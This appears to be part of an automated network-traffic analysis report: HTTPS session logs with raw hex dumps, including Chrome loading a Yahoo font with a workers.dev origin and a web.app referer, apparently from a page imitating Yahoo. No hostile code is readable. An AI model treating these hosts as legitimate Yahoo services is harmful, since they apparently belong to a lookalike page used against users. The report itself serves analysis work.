2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 11 26 7c 84 01 e3 f6 24 13 20 64 1e 39 6c 96 d6 9a cb 5f 15 c9 f9 0a 09 8e f3 85 a3 49 ba 2a 55 63 0d 4a 4a 78 3e 77 fc 77 3b c2 07 24 b7 45 10 59 84 91 24 ac c1 3f ff a7 6a b2 8f 47 a0 00 9a 7f df cb d8 9d 40 c5 d6 16 b7 58 b0 fa b2 5f 55 be a0 a4 0f 9c 96 ca 28 45 2b 62 1a 53 7e cf 71 ef fa 6d 68 7d 9e b3 05 20 fb 5b 58 72 cd 0b 22 22 12 44 06 19 86 21 e4 b7 7e 65 4f aa ff cd 0c b3 b0 4b df 79 cc 9b 7f d5 a8 18 55 15 11 15 15 51 1f a2 d2 2d fb 19 3a ae ce c7 1d b5 0e 3a 7c dd 3b fa 39 e7 b6 39 83 0e 0a cc 9e 49 fe 49 e8 d9 fd e8 fa d7 e1 43 5c 38 ac 9a 06 5d c7 7e 5a 7f b8 f7 5a f9 4b d9 9a 6c 62 e9 28 ca a0 20 8c 30 9a 3c 82 0a b0 79 d0 20 fc ea eb 95 8d a0 7a ff cd fb 97 83 09 05 18 80 fb 64 2f 3d 9b 29 49 7b 7f 6c 94 64 7f dc 55 4a 7c 5f 77 55 92 69 Data Ascii: &\|$ d9l_I*UcJJx>ww;$EY$?jG@X_U(E+bS~qmh} [Xr""D!~eOKyUQ-::\|;99IIC\8]~ZZKlb( 0<y zd/=)I{ldUJ\|_wUi
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 1c 3e 5d 92 3d 47 ac 90 42 b7 a5 bc 57 c4 25 10 31 96 d2 78 24 6a 12 32 34 2b a2 09 d1 02 69 45 84 64 da 56 19 72 fe 66 c4 ad ca db 50 45 48 66 2c d8 71 e0 c4 e5 dd 50 e5 de 17 89 4e d3 35 0c 32 02 9c c5 29 d2 a3 fe 71 4e 9f fa 07 78 16 47 9f b5 4c 44 86 88 2a 32 19 a1 ea a9 04 81 0e e6 cb 37 50 b1 25 c3 86 33 6c 6b 38 76 c5 20 74 b1 0c 19 8b 8f b5 f3 ba e2 a2 61 4a 38 6b 5c 26 16 dc c2 c7 4c a1 42 67 42 4a 7d df 24 b5 4b 29 23 8e db bc c0 0c 60 62 6d 9a 1a 66 e4 b4 3a b2 e2 67 70 29 96 3e 92 cf c9 e3 f0 d9 68 21 69 23 09 23 86 48 a2 36 4e 71 9c e6 38 cb 71 8e e3 03 1b b7 49 41 38 41 39 c1 38 61 6d c2 d9 e4 26 55 4e 42 e1 31 a4 18 a1 58 a3 8e 76 2a f2 17 56 1b 70 8c 7c fe 2d f2 87 17 6f 60 15 56 89 44 f4 26 d4 97 b6 81 48 14 c5 eb 24 44 5d 04 16 b3 d1 2c Data Ascii: >]=GBW%1x$j24+iEdVrfPEHf,qPN52)qNxGLD27P%3lk8v taJ8k\&LBgBJ}$K)#`bmf:gp)>h!i##H6Nq8qIA8A98am&UNB1XvVp\|-o`VD&H$D],
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 88 a5 c8 65 ac 83 c1 74 75 82 a5 09 06 41 80 30 78 98 61 ce 66 e1 96 ad d0 55 03 3f 90 af 89 19 87 23 3f 64 21 05 35 33 59 3e ce 12 c1 32 5b 21 ff 5c d9 72 a5 47 92 a5 5f 6c c8 9a 2c 52 8b a6 93 f9 c7 15 ca 2a 74 53 c3 fb 8f 36 1c 46 18 63 4d 60 d3 58 ad a0 1b 63 3e b7 97 c3 92 90 49 6c 03 8b b1 8b 6b e2 07 82 9b bc 24 56 9b a6 dd b4 34 05 5b de 21 71 64 f1 cb bc 16 8c 76 05 21 0c 88 8c 19 89 a5 12 41 b3 b8 6a 28 15 09 e3 90 25 0c c5 a1 91 79 9c e5 14 58 6a f9 e3 2e 18 74 20 91 8f 5f e4 a7 96 2f df 42 83 d3 df 73 1c f4 a8 c7 3d 72 68 f2 25 53 b3 65 a2 93 74 e1 28 0f 26 8f cf 8e 9e b5 52 a3 69 de 65 21 ce 4d e3 91 2c 1c 63 86 7c f3 cb f8 c3 0c ae 5d c9 6a 7a 83 5b 41 6e 1f 44 98 05 2b e9 82 3c 15 ba 4a 8b 16 b6 d8 d0 9e 79 48 e3 90 fe f3 fb 32 61 2d 0e 19 Data Ascii: etuA0xafU?#?d!53Y>2[!\rG_l,R*tS6FcM`Xc>Ilk$V4[!qdv!Aj(%yXj.t _/Bs=rh%Set(&Rie!M,c\|]jz[AnD+<JyH2a-
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 59 8f 87 7f ef 16 eb ce 9b f5 cd 74 08 28 98 c8 15 b8 3b a1 0a 75 7c e8 53 f5 dc 9b 35 d0 86 6b 95 82 ea 52 a5 56 cb 23 9b 48 5d c7 d4 97 ce dd 94 35 d7 40 29 0a 0e 03 cc b2 08 5d 50 01 8f cb 5e 3b 5f 4c fd ed d8 54 2d 28 c6 9d 99 e6 46 e5 72 85 70 e1 aa ef 7b 17 72 13 ec 6f 95 e9 b7 e6 86 54 79 4f 47 62 f0 dc d2 2c 6e d5 ef bc e6 56 5d 9d fc c8 e8 1a 85 6d 36 9b 25 32 73 d2 aa ac 9c 1a b5 ba a2 9a ae fe b4 c9 43 6d b7 1a d4 17 a5 b9 4e 85 cd c0 c8 05 39 ef 6c b5 28 12 6f 10 1d 91 ac 0b 42 40 26 b7 42 62 65 55 25 67 da 80 35 ea 89 f8 40 26 82 4a 68 06 5d 92 25 53 21 43 e4 96 ba 8f 0b 05 16 ce 57 8c b4 90 da 13 11 4f 10 d5 bf 10 db 46 61 9d 11 65 ca e6 d4 06 06 aa 78 02 11 53 c0 26 c0 34 85 ee cc 49 7f 74 0b 9f 57 af 8b 22 aa 95 1c 77 a3 b0 6f 18 50 0d 67 Data Ascii: Yt(;u\|S5kRV#H]5@)]P^;_LT-(Frp{roTyOGb,nV]m6%2sCmN9l(oB@&BbeU%g5@&Jh]%S!CWOFaexS&4ItW"woPg
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 59 02 e7 fc 75 3a 56 7f 92 80 de c0 00 4f 7c 0b 71 ef 1f 8b 34 65 4c cc 0d 53 fa ff b5 f1 94 22 3c ef 8b bc 7b 6d c6 45 ad 73 67 3d 85 40 57 85 b1 df 07 ea f9 f3 4d 59 c4 33 60 b4 17 6e 66 92 51 38 40 d2 08 45 b3 50 78 8a 39 c8 2d a8 7c eb d4 32 b4 5d 87 a4 2e 0b 2a dd 69 26 4a 19 ed d3 63 70 ab 52 cc 88 1a b1 47 1c 39 69 ec 10 ba 2b 90 6b 6f c5 03 35 a7 8e 6e 05 8d eb 67 33 d9 d6 86 a5 71 79 5f 1e 55 6b 5b 13 66 80 03 23 cb f0 03 72 99 35 fb 29 d8 0b 00 6f e7 39 37 80 32 7d 74 ee 90 2e fb 45 0c 96 a9 a6 75 b0 23 b3 95 c6 01 4d ab 28 f2 26 d6 d6 72 90 19 a9 15 60 78 d3 4b 0e b3 12 1a 8d 59 31 a1 26 de fe 8b fc cd c7 ee 7e bd a2 be 4a 17 d3 8d e7 5a 3e 81 22 37 ec 51 c2 f3 b6 a2 b2 ab e9 34 c4 7c 9c 4f bb ba 12 1a a6 2e 23 89 e2 de b6 80 a5 e3 5c 5e a2 42 Data Ascii: Yu:VO\|q4eLS"<{mEsg=@WMY3`nfQ8@EPx9-\|2].*i&JcpRG9i+ko5ng3qy_Uk[f#r5)o972}t.Eu#M(&r`xKY1&~JZ>"7Q4\|O.#\^B
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 63 75 a8 be d5 1f e8 f7 a3 f3 a4 46 87 3f 96 1d 7e b9 48 64 f0 65 6a 93 33 10 cf 05 7f 19 12 53 20 d7 98 5d c1 44 36 92 7f d8 a1 f0 44 83 d0 89 dc 03 9f a9 f8 65 64 14 b4 4c ec 92 a4 cb 55 64 da f0 bd 69 4a 3a 66 92 64 19 f2 14 1b 3f 3f a5 b1 8f 1b 4d 5e 4f f1 3b 76 c5 32 b4 6f f4 d5 a2 7d bd d1 91 53 fe 3e 77 2c 44 6f 5e 56 16 2f 45 1f 36 df 3a d5 1f 7e e8 97 dd 8b 3e 39 e5 9f f1 f2 bb d1 57 d7 80 5f 74 1f fa a1 b4 f2 98 7f 3d c5 9f db 07 96 a1 3f 5f 04 08 03 34 b6 ef 42 5b aa a7 8c 1c 4e 48 61 56 51 3b 62 b3 08 18 5c 8d 82 51 67 d4 1a c5 0f 87 7a 66 5e cd 96 6e b1 fe d3 80 dc 6e a5 6d 41 eb 6e 2f b6 f7 da ef 53 ca 54 3f 35 ee 5e dd 5d dc bd b3 1b 9f 29 da 3f 5b e6 f9 f9 d7 c5 b3 b4 a3 81 60 91 d2 66 70 d5 8c 94 93 08 45 16 84 df d7 e0 68 52 8f 06 ae c8 Data Ascii: cuF?~Hdej3S ]D6DedLUdiJ:fd??M^O;v2o}S>w,Do^V/E6:~>9W_t=?_4B[NHaVQ;b\Qgzf^nnmAn/ST?5^])?[`fpEhR
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: c0 a2 0a 11 44 5c 29 86 49 a2 12 8e 39 5c 46 25 45 c8 aa f3 d2 8e 17 58 6b b9 ce 0a bd 55 46 2b 0d c2 4c d1 e8 41 b3 d5 56 11 16 b2 6c b9 31 87 35 36 6b ed b9 e6 fa 68 17 90 47 8c 5b ec 81 b8 23 e0 c3 18 cc f8 29 90 93 e0 27 24 5d 84 3a 07 71 46 e2 05 c8 b3 12 ce 43 5f 86 bd 96 1b f1 37 a4 de cc 9a 25 48 0b 33 d9 4e f1 c7 60 a7 a5 5c 95 7c 09 e6 0a dc 75 95 6a 54 a8 52 ad 96 2f a7 a4 b2 40 9e f2 a3 06 e8 ff 12 7e 57 0f f2 05 c2 ff b7 2c 5a 22 95 c9 15 4a 95 9f 8f 0e 3d d3 5b 18 73 31 ea 65 ea 67 1a 64 1a 66 47 94 c1 7f 65 33 33 d1 ff 8f e5 0b d4 c2 e3 c0 dd 5e 7f 30 1c 8d 63 d1 47 48 65 ee 7b ee 5f 97 4b c0 b5 e8 50 52 d3 b2 70 f2 09 0a a8 55 af 4e 83 26 2d 9a 85 84 45 45 c4 c4 25 a4 24 a5 65 65 14 15 94 94 4d e0 20 21 a3 9a c2 e3 c7 42 b7 88 8b 06 b8 b8 Data Ascii: D\)I9\F%EXkUF+LAVl156khG[#)'$]:qFC_7%H3N`\\|ujTR/@~W,Z"J=[s1egdfGe33^0cGHe{_KPRpUN&-EE%$eeM !B
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 25 06 a3 df 4e 67 e5 c5 e5 86 39 b1 0e 4c c1 c6 91 0c 53 69 8d 14 1e 4f 25 97 49 bb 40 13 3d 26 d1 ca 49 1e 28 d9 b3 7d 4d 8e 53 b4 75 71 71 e5 0e b6 42 b4 e3 d4 1c 03 6a 39 27 b7 e0 15 98 76 10 46 4f a2 e5 be 89 6c f4 56 3e 5e 04 2e 97 95 01 53 29 57 eb bf 9d 40 e3 6c 46 27 c3 ae 40 5e 6c d8 bb a6 8e 9c 30 51 29 d5 d9 9b e8 58 c2 a2 3f 99 51 fd e1 b3 76 5b e4 72 dc 2e 03 72 9e 1e bb e2 e9 8a 2c 4f 92 e5 8a 26 46 58 0b ee 45 eb 0c c9 61 36 f7 aa c0 c0 cd 4f ad a7 e3 80 f6 47 86 77 a8 7e 5c 2e 7d fa 3d a7 b1 86 50 2f ac 3e 38 17 c7 fd ad b5 63 6d cf 49 b9 55 7d 77 3a 02 cb 0b b8 85 3d 06 36 f6 37 d1 9d ab 7d a8 9d d1 fd 76 6d 49 25 51 c6 09 85 75 a8 46 cb 98 1b cc 56 41 eb 43 1b 49 5a cf d2 d2 f2 6e 48 47 ef a1 19 43 f4 18 b7 77 ec 59 a9 7b a4 93 98 d5 ca Data Ascii: %Ng9LSiO%I@=&I(}MSuqqBj9'vFOlV>^.S)W@lF'@^l0Q)X?Qv[r.r,O&FXEa6OGw~\.}=P/>8cmIU}w:=67}vmI%QuFVACIZnHGCwY{
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: cb 42 c5 b3 41 6c 11 ee e3 36 d4 36 48 2f f2 69 a8 2e 65 9b fc c2 b2 03 a9 c8 31 b5 7c f6 49 8a d5 2f bb 5c 69 aa 30 ea 05 36 e4 ac 13 fc 08 30 d6 ff a0 75 54 74 fd 5a 1e 26 4e 22 31 04 5a 47 8a 03 1e c3 f9 ff ff 5c a4 56 80 8b d7 09 0f d3 43 6c fb 04 a1 e6 9a c4 1e a1 bd b8 54 1a 73 e2 4e 86 38 ad 02 83 3f 2b fe 6a b5 15 c7 c9 90 bd b9 5d 12 f9 a8 0b 20 eb 85 f2 85 f8 85 bf 6f 2b 2c 9e b8 48 a1 b6 0a be eb af e4 91 be e0 9d 40 00 0b 2b 69 71 83 5f f0 7b 90 d5 6f 88 e6 4d 09 58 5c a7 ac 4d 25 f0 8e 75 56 be 06 5e 17 dd 61 e9 28 1d 4e f4 d2 88 de 3d 00 42 08 02 b4 ff 04 0a 86 5a a4 3b 42 3c c1 27 02 b0 8d 4b fc 2d 06 24 c6 9a 90 51 d1 3d 66 10 3a 06 8b d8 2b 69 c5 9f ec 28 0a 31 3e 43 68 96 f0 de 32 7b 87 73 ed ee 2d dd 9f 6a ef c9 2a 79 91 be e9 ce d5 0d Data Ascii: BAl66H/i.e1\|I/\i060uTtZ&N"1ZG\VClTsN8?+j] o+,H@+iq_{oMX\M%uV^a(N=BZ;B<'K-$Q=f:+i(1>Ch2{s-j*y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49770	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	618	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://validated.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:38 UTC	1084	IN	HTTP/1.1 200 OK x-amz-id-2: uunoH0ZsSY5x92dTXmGOL+eKo6NROHTo3UwMXhUukQ8rPUWvPahBWJdR31PzsMR5RBu78WsE14w= x-amz-request-id: 677NGBS2T8D2Q5XE Date: Sun, 14 Apr 2024 19:32:04 GMT Last-Modified: Thu, 19 Apr 2018 19:06:41 GMT ETag: "a99b283070afc519f4816e4300c515d2" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:51 GMT x-amz-meta-mbst-etag: "YM:1:cb5e4811-e042-455c-b2b2-f984d5f70e0200055a9e8550b736" x-amz-meta-x-ysws-mbst-vtime: 1507011771545398 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 28860 Referrer-Policy: no-referrer-when-downgrade Age: 1134576 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 70 bc 00 10 00 00 00 01 84 f0 00 00 70 59 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 a9 38 1c 95 54 06 60 00 89 54 08 81 0a 09 82 73 11 0c 0a 82 f4 4c 82 d0 3c 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 00 07 98 2c 0c 89 56 5b 30 6e 71 06 d5 6b e7 07 12 7a b3 aa 1e 37 ec dc 0f 56 c2 6e 62 bf db b1 a8 fc 3c 7b a5 02 6e 0c dd b0 71 30 0c 6e 4f 99 fd ff ff ff b9 49 25 0e 4b 8a b4 bd 83 63 d8 66 f3 3f c8 72 77 2b 02 8a 40 66 20 d3 a9 28 b3 ba 7b 26 4a 08 39 96 5a 31 61 8e 40 18 c2 32 5a cd 67 b3 99 ab 06 13 46 75 6c 28 a2 84 1e a6 b4 d3 41 47 87 25 ad 4d 66 d8 cb 3c 93 68 d7 29 e3 c9 c7 8b 5e 81 ed 2d b4 4c d1 f9 6c a1 0b 8e 88 8a e0 88 4f 33 d6 7d fa e2 25 9e 8b 71 c3 b9 f1 38 99 1e 18 bf e4 Data Ascii: wOF2ppY8T`TsL<6$0 ,V[0nqkz7Vnb<{nq0nOI%Kcf?rw+@f ({&J9Z1a@2ZgFul(AG%Mf<h)^-LlO3}%q8
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: c4 4a 29 d2 94 ed fd bb f9 cd 37 52 bf d1 ae 9d a4 f6 1e 97 bb 35 c2 ab b8 83 50 85 10 83 10 83 30 ce f1 d9 c3 cd 71 ed 89 ff 2d 2d 1b ec d1 fb 7f 76 bf a9 98 a8 89 8a 8a 8a 98 3b c6 66 fb 8e 45 ba c4 02 a4 3d e2 c4 1d fb 69 f4 47 72 a5 be f7 b9 6b b6 98 b2 a6 59 1a 28 20 65 28 83 11 42 d3 a9 2b f0 77 0c 15 98 86 25 b2 ec 7e 7e a3 02 e8 b4 50 2b 6c c3 8d fd c3 41 fd c8 fd 8a f3 80 8f 04 a8 55 c0 78 e4 75 bb 7b 11 cc de 5a e1 04 ab ef 75 7f 82 d3 7b 3d 80 e0 b1 63 a8 84 e0 07 6a 15 04 6a 15 cc 08 2e 24 21 3f d6 14 4a 47 1c 54 98 07 e6 d3 cd 40 90 27 c1 c0 0f 49 ed f5 83 a2 10 09 78 2a 47 f3 55 9a e1 3b 34 c0 86 e9 6f 0a 27 24 a0 1a 03 f8 5c 40 6f a9 5d ba d3 5e 2e 73 72 ee 55 92 4d fd 22 dc 58 bb fd 88 3e e8 03 bf f3 ef 56 15 7f de f5 4b ec 96 70 f7 d5 69 Data Ascii: J)7R5P0q--v;fE=iGrkY( e(B+w%~~P+lAUxu{Zu{=cjj.$!?JGT@'Ix*GU;4o'$\@o]^.srUM"X>VKpi
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 7e d4 d0 39 23 e7 8d 74 0f f4 e8 ad d1 dd 6d c4 dc 28 96 c0 f6 06 1b 66 b8 3a 79 66 29 df 16 1c 0d 59 4c c2 03 37 c8 24 9d ed 5b 21 59 34 71 67 a7 e0 15 b6 ba 99 b2 f2 f6 01 c3 53 db dd cd 72 ce ac f9 9e bd 99 c6 10 d6 52 88 29 80 1e 2d 3f 9d 24 c1 68 01 24 52 a0 22 01 ae ac 0a 53 5e 74 25 a1 f1 36 7a 72 da d4 86 67 72 f6 ab 76 64 ea ee 2c 4e db 81 3f 6a c7 ef 44 29 65 d8 dc 89 b9 6a 2c 82 ed 75 67 a5 07 81 fe 6a 83 ed 64 b8 19 0e 18 02 c4 14 2f 05 57 1e b7 b3 4d 06 19 76 57 a8 c1 7d 1b 9b 30 9b b9 b6 d1 35 aa 6b aa dd 0f b7 ea 5e db fd 88 5d fb e9 8d 0e 07 8f 04 86 03 21 44 ef d7 13 29 d6 6f ce 76 66 ce 6d 33 d4 61 ea 70 e2 4e cf af 8e 7f 15 34 28 a6 af 8a 9d 57 1c 7d f4 94 05 e8 30 5a a9 3b 41 a5 95 8e 59 b3 b8 d6 1a 7c 85 ed 62 8b ac e6 f4 69 34 72 8b Data Ascii: ~9#tm(f:yf)YL7$[!Y4qgSrR)-?$h$R"S^t%6zrgrvd,N?jD)ej,ugjd/WMvW}05k^]!D)ovfm3apN4(W}0Z;AY\|bi4r
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: b0 3e 29 ac f9 44 6a 35 58 f4 c6 11 91 a3 25 a0 8d 0f 08 c6 e5 3a de e4 38 86 14 7c 2f f8 5a 80 38 08 f1 6a 63 c7 56 b8 fe 0e 4a 8b 82 42 7b 42 54 e3 fa 5a cc 50 0b 6d 84 a6 ce 1f 9c c4 33 88 72 38 70 92 20 6c c9 84 56 a3 a9 45 61 c1 d4 0a 61 6e ae 43 2b 3c 2d 7d d7 56 39 0c 96 55 39 bd f2 45 07 72 15 29 23 57 ba 03 c6 ef 4c 09 d6 25 d5 18 9a a7 86 90 79 a8 c8 fd eb 36 19 78 7b 6d 5b 25 48 52 16 4d 5b 5e fc 12 67 f9 e6 dc 3c a5 06 98 4e 50 67 c2 dd 52 7c d6 21 e2 79 39 c2 22 11 f4 77 93 a2 33 45 61 ee 6b 15 f8 3b 23 25 b3 b8 1b 26 c4 76 c2 1b a7 d9 8e ba ce c1 d5 6a 50 d4 b0 95 8d d2 33 91 04 dd 7e 18 4f 4b e5 9c 0a c8 d6 da e2 44 dd 9c 7d e9 77 03 e6 e2 dd f2 03 73 99 c4 92 27 4b 1a 2e 18 ac c1 30 c8 02 ad da 21 ea 7f 68 c0 f0 31 a8 98 04 3f 04 bd 10 d1 Data Ascii: >)Dj5X%:8\|/Z8jcVJB{BTZPm3r8p lVEaanC+<-}V9U9Er)#WL%y6x{m[%HRM[^g<NPgR\|!y9"w3Eak;#%&vjP3~OKD}ws'K.0!h1?
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 36 bf 4b 12 06 a5 a6 77 f6 4a 4b 35 24 25 98 50 4b 77 84 c0 73 f7 b8 b2 0f 20 0a d0 86 af 5a 46 a9 9a ed 7d 3c 63 f8 87 91 ff 29 29 b4 d1 e5 fe 40 79 ef f8 d8 a7 72 76 d8 3c 2b 3f d0 47 f4 7e 2a 7e a5 75 5e f9 51 79 ae b4 e6 0c 6c a7 98 d4 90 e3 7e 04 84 e8 63 5b 10 d0 73 a4 a0 17 7f 85 22 23 c1 0b 31 6b 16 92 83 98 52 e1 2d c9 1e 5a 95 4a ea 27 ef 51 1b 94 b9 16 4a 9e 69 7a f7 01 30 ac c6 64 44 c9 56 3b db 2c d3 3a b1 b2 03 62 8f a0 96 c7 fa 75 0a 59 dc da cb 28 fa 9b ad eb aa e4 9c f0 58 1b 0c a2 9d a3 8e b5 46 c6 3d 19 96 f5 f4 87 3a 2b bc a0 e3 f4 6d 87 8c 73 1d 6b 61 cb 03 6e 4e ae 42 12 9d fc 28 6f a4 cd ba 0c 10 4b 06 6b ef b8 42 25 84 8b 77 d5 fa 25 e4 c6 29 0f 5f 3f 15 ce f9 ef 7f f7 d8 e8 2b b7 aa ed 57 06 7a 8a 4d 5a db a2 52 bd 30 bd 79 b9 94 Data Ascii: 6KwJK5$%PKws ZF}<c))@yrv<+?G~*~u^Qyl~c[s"#1kR-ZJ'QJiz0dDV;,:buY(XF=:+mskanNB(oKkB%w%)_?+WzMZR0y
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: b9 01 bb 0d ba 64 af 61 23 5a dc f0 54 ab 71 3f 9d f1 3b 12 f4 a6 2b a3 20 e7 fe 6e b3 98 d1 91 37 6f 1c 76 99 b8 3a 15 71 32 4f 23 67 bb c8 c4 68 77 42 b2 53 4e c9 75 c6 19 79 ce 39 2f 5f b7 6e 05 14 29 2a 0c c1 1b 5a 9d 72 05 7a 80 36 7d 16 68 d7 eb 26 ba cb df ce 5e 5e c4 0b 16 8f 7e 63 31 fa 1b 0d 74 d0 81 25 0e c3 29 a3 c9 64 b1 da ec 26 c7 19 87 d3 e5 f6 78 7d 97 fc 81 70 08 00 9b a1 d1 ff 74 a6 84 fc ff d5 ff 11 04 45 b9 a3 f1 ea 54 2e 53 68 8e 1f 61 7a a7 0e 02 b3 b4 80 6d c0 1e 80 6e 80 89 80 bd 78 3a da dd a0 37 54 99 06 75 54 78 86 a7 06 77 4f 47 d3 15 ff 5b 23 e8 ee 3d f4 40 8e 7c 12 0d 69 3f 91 6d 69 e2 60 d8 7d 1c 0f e8 1a 3a ef 51 a5 9c 80 a0 2e 30 ef d6 b5 4c ff 05 cc 11 b5 31 5c e3 c0 47 cf 61 b6 80 f3 ff 72 a3 8a a0 ef 30 44 c6 3e 58 3e Data Ascii: da#ZTq?;+ n7ov:q2O#ghwBSNuy9/_n)*Zrz6}h&^^~c1t%)d&x}ptET.Shazmnx:7TuTxwOG[#=@\|i?mi`}:Q.0L1\Gar0D>X>
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 0e 21 ee 77 04 94 dd 33 a2 82 36 74 7f 90 50 ac 8c 8d cf 10 8d 32 a6 a5 18 f7 26 21 3e 7c 7d 46 c1 ae 39 7a 46 2e ce 5b 7e 46 6b b4 3a bc 2b d3 26 fc 3c 82 62 d5 a3 59 be d5 b5 d8 52 73 ad 33 48 ea 25 97 6c 58 11 e4 44 f2 ea 0d 2b bb f2 11 d4 65 d7 7b 0d 2d c6 da c6 ba 78 7d e4 4e c3 af 8b 45 5b 2f 8c aa d2 18 4f aa d1 5a 7d 0d 6d 6a 73 5b 4e 85 46 b6 f3 e2 8d fd c7 60 74 87 de 44 9a 1b 08 e7 e7 fe 41 3f 7c c8 93 1e b4 26 ef 8d e4 01 8c 11 c2 dd 53 e6 b4 3a d1 c9 0e 77 ae ee 4e 75 be d3 9d a9 ab b3 1d ea 58 c7 6b ef 48 47 eb a8 13 a2 45 05 95 3a 0d fa ef a9 5e d6 b9 e6 89 93 28 53 a1 22 67 9c 35 e8 22 52 44 6a 37 c3 21 a7 34 93 36 03 a6 65 c0 f9 f0 8b 4c d4 04 44 3a 8c 0c 07 9b 9f 11 1a 20 63 2f 3e 19 af d0 50 ac 8c 55 51 d2 ea d6 9c a0 8d ac e7 17 be 31 Data Ascii: !w36tP2&!>\|}F9zF.[~Fk:+&<bYRs3H%lXD+e{-x}NE[/OZ}mjs[NF`tDA?\|&S:wNuXkHGE:^(S"g5"RDj7!46eLD: c/>PUQ1
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: a0 48 83 ef 98 dd 2c 2f 9f c3 33 da e3 aa dc 36 d9 8c 24 62 8d 19 90 94 61 b5 3a 80 f8 08 50 6e 01 b1 05 18 fc 09 60 d4 5f d0 35 12 b4 9d 01 f6 bc 1b 90 30 18 84 0c 87 2e a4 f3 63 33 c2 4c 9c 4b ee 11 c6 71 4b 30 2a d8 c1 45 26 16 44 41 74 70 e7 b9 24 d4 ca 22 69 6d 40 1a 57 ab ab 7f bd 39 ab 06 d5 89 8e 09 88 5c f9 f4 19 b4 a8 12 5e 4c 42 9a c7 b8 5a 93 a2 96 ef 85 95 f6 a5 a9 52 26 21 5b 6a 0b a5 6c 8a 66 5e 4a 57 50 8b 7d 5d e2 88 8b 4e b1 09 c4 bd 7b 16 29 41 59 52 05 0b bd 4b c3 91 12 8f 43 2a 32 89 ea 97 86 17 6f e5 05 6e d1 f9 82 47 f3 b7 94 e6 74 e5 53 e9 cb be 14 d4 f3 dc c4 9f 1f 80 be a9 35 e7 3a e9 b4 4c b7 2d ad b6 a9 69 5a c0 29 e5 2d ed b2 23 88 c7 79 d7 30 a4 a8 24 75 4d c5 10 be 6f f0 ca b7 f8 96 16 72 cb d6 85 46 35 95 d2 b6 1e 58 4d cf Data Ascii: H,/36$ba:Pn`_50.c3LKqK0E&DAtp$"im@W9\^LBZR&![jlf^JWP}]N{)AYRKC2onGtS5:L-iZ)-#y0$uMorF5XM
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: b9 a5 8e 09 43 2d 2d 57 4e 4a 18 f6 01 4c 5e c0 7c b9 22 78 32 8d b8 13 fc 42 75 af 36 dd b7 92 8e a4 9d bd 3a 3e db a0 10 0e 47 ad 0b 98 18 a9 52 21 77 e4 28 95 68 dd b6 ed 91 c9 36 86 8f 44 91 d0 8e 80 0a 99 c4 f2 52 83 40 6a 1a e5 b2 ad 8e de 85 8a f2 57 70 41 81 a3 c5 03 3f 3c 2e 29 db 5c aa 50 1e 30 97 ff da 9d a4 2d 7b c9 10 66 03 7a b1 15 04 ca 49 23 c8 30 af 53 19 30 ef 51 7a 74 f0 c8 c1 58 74 74 96 fb 88 ae 7e 24 70 f8 c0 7c 34 20 c0 ec c7 7e 5d 9a c1 5b 27 54 75 50 37 f0 ba 4d ea cf 9c e0 8d d9 ef b0 cc 33 aa dd 2e c2 76 f3 06 6d 27 2e c4 b5 d6 c9 08 89 2e 2b bb 66 60 ff a6 1b 99 49 77 18 1b 0e 27 f8 a1 8b 2f 5f 98 e9 f5 4e 78 39 25 ef 65 53 39 91 97 f2 7b c4 49 b5 5e a1 f2 19 c1 4e 70 ba 50 d8 45 87 47 2c 6b a4 4a 52 87 ad 36 6c 63 3b 9a 1a 5b Data Ascii: C--WNJL^\|"x2Bu6:>GR!w(h6DR@jWpA?<.)\P0-{fzI#0S0QztXtt~$p\|4 ~]['TuP7M3.vm'..+f`Iw'/_Nx9%eS9{I^NpPEG,kJR6lc;[
